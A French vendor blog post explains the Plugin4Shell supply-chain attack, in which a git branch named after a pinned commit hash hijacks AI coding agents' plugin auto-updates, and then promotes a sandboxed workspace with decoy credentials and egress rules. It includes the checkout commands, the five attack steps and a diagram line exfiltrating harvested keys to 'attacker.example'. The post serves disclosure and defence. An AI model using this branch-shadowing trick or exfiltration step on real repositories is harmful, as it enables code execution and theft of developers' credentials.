Retour à tous les articles
Publié le · par Renaud Deraison

Le commit était une branche

Air a divulgué Plugin4Shell le 17 septembre : les marketplaces de plugins de Claude Code, Codex, Gemini CLI et Copilot épinglent chaque plugin à un hash de commit de quarante caractères, et les agents extraient ce hash sans jamais vérifier qu'ils l'ont bien obtenu. Un attaquant qui nomme une branche d'après le hash épinglé gagne le checkout, et le programme de mise à jour en arrière-plan fait le reste, sans invite et sans clic. Anthropic et OpenAI ont corrigé. Google ne le fera pas, et Microsoft ne l'a pas fait. Dans un workspace Bromure Agentic Coding, le code qui gagne le checkout atterrit dans une VM qui ne détient que des identifiants leurres, derrière une politique de push et un jeu de règles d'egress appliqués sur l'hôte.

Tous les guides sur la chaîne d'approvisionnement vous disent d'épingler vos dépendances à un hash, parce qu'un numéro de version est une étiquette que quelqu'un peut déplacer, alors qu'un hash est le contenu lui-même. Quatre agents de code ont suivi ce conseil. Aucun n'a vérifié que le hash reçu était bien celui attendu.

Un plugin passe la revue. Vous le lisez, ou votre équipe plateforme le lit, et il rejoint la liste des plugins approuvés, épinglé à un commit : quarante caractères hexadécimaux qui ne peuvent décrire qu'un seul arbre, puisque modifier l'arbre modifie les caractères. C'est tout l'intérêt. N'importe qui disposant des bons accès peut déplacer un tag ou republier une version, mais un hash de commit est censé être un fait.

Le 17 septembre, trois chercheurs d'Air (Or Nevo, Dor Granat et Niv Hoffman) ont publié Plugin4Shell. Leur conclusion : l'épinglage ne vaut que ce que vaut ce qui le résout, et le résolveur de quatre agents de code majeurs ne vérifie pas son propre travail. The Register a couvert l'affaire le jour même. Claude Code, Codex d'OpenAI, Gemini CLI de Google et Copilot de Microsoft sont tous concernés.

Git préfère la ref

Un hash de commit, c'est du contenu, et c'est aussi un nom. Les branches et les tags aussi, et git les résout tous par la même recherche. Donnez à git une chaîne qui est à la fois un nom de branche et un identifiant d'objet, et il doit choisir ; il choisit la branche. Les chercheurs le résument en une phrase : « quand un nom est à la fois une ref valide et un identifiant d'objet, git préfère la ref ».

Git vous prévient, pourtant. Il affiche un avertissement d'ambiguïté pour cette référence, dans un terminal que vous ne lisez pas, parce que c'est un programme de mise à jour en arrière-plan qui exécute le checkout.

Les noms de branches git acceptent quarante caractères hexadécimaux. Un attaquant qui contrôle le dépôt du plugin crée une branche portant exactement le nom épinglé par le marketplace et en fait la branche par défaut. Le clone rapatrie cette branche à côté du commit du même nom. Puis l'agent lance son checkout :

git clone <plugin repo> ./
git checkout aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Le checkout atterrit sur la branche. Gemini CLI emprunte un autre chemin vers le même résultat : il récupère le bon commit avec --ref, puis exécute git checkout FETCH_HEAD, qui se résout vers une branche nommée FETCH_HEAD si le dépôt en possède une.

Un nom, deux choses qu'il peut désignerépinglage marketplaceaaaaaaaa…aaaarevu, enregistré, inchangéidentifiant d'objet dans le dépôtaaaaaaaa…aaaale code qui a passé la revuebranche, mêmes quarante caractèresrefs/heads/aaaaaaaa…aaaace que l'attaquant a pousségit checkout aaaa…aaaase résout vers la branchealerte affichée, personne ne litL'agent ne demande jamais ce qu'il a réellement extrait. Une seule commande le ferait : git rev-parse HEAD.
Une chaîne, deux sens. Le commit aaa…aaa et une branche nommée aaa…aaa existent tous deux dans le dépôt cloné. git checkout doit trancher, et il choisit la ref. Le marketplace enregistre toujours le même épinglage, et l'arbre sur le disque appartient à quelqu'un d'autre.

Cinq étapes, et la dernière n'a pas de clic

Les chercheurs décomposent l'attaque en cinq mouvements, et les trois premiers sont des choses qu'un marketplace bien tenu fait volontairement.

Plantation. Publier un plugin inoffensif. Il passe la revue au commit aaa…aaa parce qu'il n'y a rien à lui reprocher.

Adoption. Les développeurs l'installent, épinglé au commit revu. C'est l'étape où vous faites ce que les guides vous disent de faire.

Montée de version. Le marketplace réépingle vers un commit plus récent, bbb…bbb, lui aussi inoffensif et lui aussi revu.

Rug-pull. L'attaquant crée une branche nommée bbb…bbb, en fait la branche par défaut, et la fait pointer vers du code malveillant. Il ne republie rien et l'enregistrement du marketplace ne bouge pas. Les quarante caractères que vous iriez vérifier sont les quarante caractères que vous avez déjà vérifiés.

Mise à jour automatique vers l'exécution de code. Claude Code et Codex mettent à jour les plugins installés en arrière-plan par défaut. La prochaine mise à jour planifiée extrait la branche. Air décrit cette étape comme « sans invite, sans clic ».

Plugin4Shell, étape par étapequi agit1un plugin inoffensif est publié et passe la revue au commit aaa…aaail n'y a rien à reprocher au code à ce stademarketplace2les développeurs l'installent, épinglé au commit revuc'est la pratique recommandée, correctement suivievous3le marketplace réépingle vers un commit plus récent, bbb…bbblui aussi inoffensif, lui aussi revumarketplace4une branche nommée bbb…bbb est créée et passée par défautrien n'est republié ; l'épinglage enregistré ne bouge pasattaquant5le programme de mise à jour en arrière-plan extrait la brancheexécution de code sur la machine du développeur — sans invite, sans clicl'agent
Les étapes une à trois sont le marketplace qui fonctionne comme prévu, et l'étape deux est le développeur qui suit le conseil standard. L'attaque, ce sont les étapes quatre et cinq, et aucune des deux ne demande au développeur d'approuver quoi que ce soit.

Il existe une seconde porte d'entrée qui saute la plantation : prendre le contrôle du dépôt d'un auteur de plugin légitime et pousser la version malveillante vers tous les agents qui ont déjà le plugin installé. L'astuce de la branche est la même, et il n'y a aucune revue à passer.

Air décrit le résultat comme « une exécution de code à distance complète sur la machine de l'employé », avec les permissions de cet employé. L'attaquant n'a besoin d'aucune élévation de privilèges. Le code s'exécute en tant que la personne à qui appartient le portable, et atteint ses fichiers et ses accès de production.

C'est la troisième fois que ces chercheurs recensent la même forme. Leurs travaux antérieurs sur les skills d'agent malveillantes décrivent une skill qui a atteint plus de 26 000 agents, et une campagne de détournement qui a pris le contrôle de 925 skills déjà utilisées par 134 000 agents. Ces campagnes exigeaient que vous installiez quelque chose de mauvais ; celle-ci exigeait que vous installiez quelque chose de bon et que vous attendiez.

Deux des quatre n'ont pas de correctif

Air a signalé la faille aux quatre éditeurs en juin.

Anthropic a corrigé Claude Code le 17 juin, en version 2.1.179. Le correctif d'OpenAI est arrivé dans Codex 0.146.0 et a été vérifié le 12 août. Google a répondu le 4 août que Gemini CLI est déprécié et ne sera pas corrigé. Google renvoie les utilisateurs vers Antigravity, si bien qu'une installation de Gemini CLI qui reste sur le disque reste vulnérable. Microsoft n'a rien livré pour Copilot. GitHub indique que sa propre plateforme bloque les noms de branches et de tags qui ressemblent à des SHA de commit, ce qui couvre les plugins hébergés sur GitHub et ne fait rien pour un dépôt de plugin hébergé ailleurs, Bitbucket compris. The Register note, en reprenant le chiffre de Microsoft lui-même, que près de 90 % des entreprises du Fortune 500 utilisent Copilot.

Le correctif tient en une ligne, et il doit s'exécuter à l'intérieur de l'agent :

test "$(git rev-parse HEAD)" = "<pinned-sha>" || abort

Résoudre le commit qui a atterri dans la copie de travail, et refuser de continuer s'il ne correspond pas. Aucun marketplace ne peut le faire à votre place, parce que c'est votre agent qui résout l'épinglage sur votre machine, une fois que le marketplace a fini de parler.

Pour un grand nombre de développeurs qui lisent ces lignes aujourd'hui, « mettez votre agent à jour » n'est pas une réponse disponible. Reste l'autre question : que trouve le code lorsqu'il gagne le checkout et commence à s'exécuter ?

Dans un workspace Bromure Agentic Coding

La formule d'Air, s'exécuter avec les permissions de l'employé, est exacte. Un workspace existe pour la rendre fausse.

Dans Bromure Agentic Coding, l'agent s'exécute dans une VM Linux virtualisée par le matériel sur votre Mac, et la VM ne détient jamais un véritable identifiant. Au lancement de la session, l'application écrit des leurres qui préservent la structure dans l'environnement où tourne l'agent : ANTHROPIC_API_KEY, GH_TOKEN, LINEAR_API_KEY et les autres sous forme de variables d'environnement, et des faux correspondants dans ~/.git-credentials, ~/.docker/config.json, ~/.kube/config, ~/.aws/config et les fichiers de configuration MCP de l'agent. Chaque leurre conserve la forme que ses outils attendent, si bien qu'ils l'acceptent : un leurre GitHub, c'est ghp_ suivi de 36 caractères, un leurre Anthropic commence par sk-ant-api03-brm-, un jeton porteur Kubernetes commence par brm-k8s-. Bromure dérive chacun d'eux de la valeur réelle par HKDF-SHA256 avec un sel propre à l'installation, ce qui le garde stable d'une session à l'autre et sans valeur pour qui le récolte.

Les vraies valeurs restent chiffrées sur l'hôte. Un proxy côté hôte les substitue sur le fil une fois la requête sortie de la VM, et seulement lorsque la destination correspond à l'hôte pour lequel cet identifiant a été forgé. Un plugin qui ratisse le répertoire personnel à la recherche de fichiers de configuration, ce qui est la première chose que fait cette classe de charge utile, ne récolte qu'un jeu de leurres bien formés.

Après le checkout : les trois mêmes gestes, deux foisune machine de développeur ordinairelire le répertoire personnelsk-ant-api03-… ghp_… AKIA…vraies clés, vrais jetons, vrai kubeconfigmarchepousser vers les dépôts accessiblesgit push → git-receive-packles identifiants git du développeurmarcheenvoyer la collecte quelque partPOST https://attacker.exampleHTTPS sortant ordinaire, rien sur le cheminmarcheun workspace Bromure Agentic Codinglire le répertoire personnelsk-ant-api03-brm-… ghp_… brm-k8s-…des leurres ; les vrais sont sur l'hôteleurrespousser vers les dépôts accessiblesgit-receive-pack = écriturebloqué, ou une fenêtre de l'hôte à trancherpolitiqueenvoyer la collecte quelque part451 — pas un octet transmisrègle d'egress, puis la VM est mise en pausearrêté
Le même checkout, le même plugin malveillant, deux machines. Sur un portable ordinaire, le code hérite des véritables identifiants du développeur et atteint tout ce que celui-ci atteint. Dans un workspace, les identifiants qu'il lit sont des leurres, le push qu'il tente rencontre une politique d'écriture côté hôte, et l'appel à la maison rencontre une règle d'egress que l'invité ne peut pas modifier.

Le push doit être approuvé sur l'hôte

La chose la plus précieuse qu'un plugin compromis puisse faire sur une machine de développeur, c'est pousser. C'est ainsi qu'un portable devient cent dépôts.

Guardrails classe chaque appel que l'agent adresse à GitHub. Un git push en HTTPS arrive au proxy sous la forme git-receive-pack, ce qui compte comme une écriture. Le mode lecture seule le refuse. Le mode demander avant d'écrire fait apparaître une fenêtre sur votre Mac, intitulée Allow write on "<scope>" from workspace "<name>"?, qui montre l'opération telle quelle plutôt qu'un résumé. Un git fetch compte comme une lecture et passe sans vous interrompre.

La classification s'exécute dans le proxy de l'hôte, en dehors de la VM. Le code à l'intérieur de l'invité ne peut ni la désactiver ni la contourner, parce qu'il ne s'exécute pas sur la machine qui prend la décision.

L'appel à la maison rencontre une règle que l'invité ne peut pas modifier

Chaque workspace dispose d'un pare-feu d'egress : une liste ordonnée, de style pf, de règles d'autorisation et de refus portant sur l'hôte, la plage d'IP, le protocole, le port et, pour le trafic web, le verbe HTTP individuel. allow web api.example.com GET,POST donne à l'agent des requêtes sans mutations, au niveau du fil, quel que soit l'outil qui émet la requête à l'intérieur de la VM.

Deux couches l'appliquent. Le commutateur réseau virtuel applique les règles à chaque flux par IP de destination et par nom d'hôte capté dans le DNS, couvrant le TCP et l'UDP bruts autant que le HTTPS. Le proxy les applique de nouveau par nom de serveur TLS et par méthode HTTP. Bromure détourne le trafic des ports 80 et 443 de la VM vers le proxy sans la coopération de l'invité, si bien que rien à l'intérieur ne peut échapper à l'inspection. Vos modifications atteignent les sessions en cours immédiatement, ce qui compte le jour où vous lisez une divulgation comme celle-ci.

En dessous se trouve le détecteur de compromission, activé par défaut et sans rien à configurer. Le proxy analyse chaque requête sortante en une seule passe à la recherche des leurres forgés pour ce workspace. Un leurre adressé à un hôte pour lequel il n'a jamais été forgé est la signature d'une exfiltration, et le proxy y répond par un HTTP 451 sans transmettre le moindre octet. Il met la VM en pause sur-le-champ et lève une alerte qui propose d'arrêter le workspace, d'exporter le disque et le dossier personnel pour enquête, ou de continuer à vos risques et périls. Bromure marque le workspace comme compromis, et le lancement suivant efface le disque de la VM et le dossier personnel tout en conservant vos jetons, vos clés SSH et vos réglages de workspace. Seul le leurre est parti, il n'y a donc rien à faire tourner.

Zéro clic veut dire qu'il n'y a rien à remarquer

La propriété la plus tranchante de l'étape cinq, c'est son silence. Une mise à jour de plugin en arrière-plan ne produit ni invite ni appel d'outil, si bien que l'interface de l'agent elle-même ne donne au développeur rien à attraper. Le constat d'Air, c'est que l'exploitation se déroule dans la partie du système que vous n'avez aucune raison de surveiller.

Un workspace déplace la surveillance ailleurs. Les moteurs de sécurité écrivent chaque décision sous forme de ligne dans la fenêtre Security Timeline de votre Mac : verdicts du pare-feu (evil.example:443 tcp — blocked), applications de Guardrails (DELETE api.github.com/repos/… — blocked), courtage d'identifiants y compris la ligne rouge blocked — exfiltration attempt, VM paused, plus les verdicts de chaîne d'approvisionnement et les détections d'injection de prompt, en couleurs et filtrables. Une session peut aussi enregistrer une trace chiffrée des commandes exécutées et des hôtes atteints.

Un plugin qui s'est mis à jour tout seul sans vous le dire doit quand même émettre des requêtes, et chacune franchit une frontière qui tient ses propres notes de l'autre côté de l'hyperviseur.

Vérifiez d'abord la version de votre agent

Claude Code 2.1.179 et Codex 0.146.0 contiennent le correctif. Si vous utilisez Gemini CLI, il n'y en aura pas. Si vous utilisez Copilot, il n'y en a pas encore.

Désactivez la mise à jour automatique des plugins quand vous le pouvez

La propriété zéro clic vient du programme de mise à jour en arrière-plan. Les mises à jour manuelles remettent un humain dans la boucle à l'étape cinq.

Vérifiez vous-même le checkout dans la CI

git rev-parse HEAD après un checkout épinglé, comparé à l'épinglage, c'est la même vérification d'une ligne que les éditeurs ont dû ajouter. Elle fonctionne partout où vous clonez par SHA.

Partez du principe que quelqu'un gagnera le checkout

L'épinglage, la revue et la curation du marketplace ont tous tenu ici, et l'attaque a réussi quand même. Le dénouement repose alors sur ce que le code gagnant peut atteindre.

Plugin4Shell attrape le développeur méticuleux aux mêmes conditions que le négligent. Celui qui a installé ce qui était à la mode ne s'en est pas moins bien sorti que celui qui a lu le code source, épinglé le hash et noté l'épinglage. L'adressage par contenu était censé protéger ce second développeur, et il ne l'a pas fait, parce que git résout l'adresse par une recherche qui utilise aussi ces caractères pour désigner autre chose.

Continuez à épingler. Puis partez du principe qu'un contrôle qui repose sur une recherche ou sur une correspondance de noms se verra un jour remettre la mauvaise réponse pendant que vous dormez. Concevez pour ce matin-là : faites tourner l'agent quelque part qui ne détient aucune clé digne d'être prise, et gardez la trace de ce qu'il a fait de l'autre côté d'une frontière que le code ne peut pas atteindre.